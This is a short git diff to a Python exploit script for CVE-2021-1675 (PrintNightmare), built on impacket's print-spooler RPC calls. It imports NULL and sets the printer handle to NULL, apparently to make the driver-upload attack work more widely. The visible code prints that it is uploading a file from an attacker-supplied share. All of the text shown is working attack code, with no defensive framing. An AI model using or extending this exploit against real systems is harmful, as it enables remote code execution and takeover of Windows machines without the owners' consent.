diff --git a/CVE-2021-1675.py b/CVE-2021-1675.py index 16eeffe..072334b 100644 --- a/CVE-2021-1675.py +++ b/CVE-2021-1675.py @@ -1,6 +1,7 @@ #!/usr/bin/python3 from impacket.dcerpc.v5 import rprn from impacket.dcerpc.v5 import transport +from impacket.dcerpc.v5.dtypes import NULL import argparse import sys import time @@ -45,7 +46,8 @@ def main(username, password, domain, lmhash, nthash, address, port, share): flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000 - handle = "\\\\{0}\x00".format(address) + #handle = "\\\\{0}\x00".format(address) + handle = NULL filename = share.split("\\")[-1] print("[*] Uploading {0}".format(share))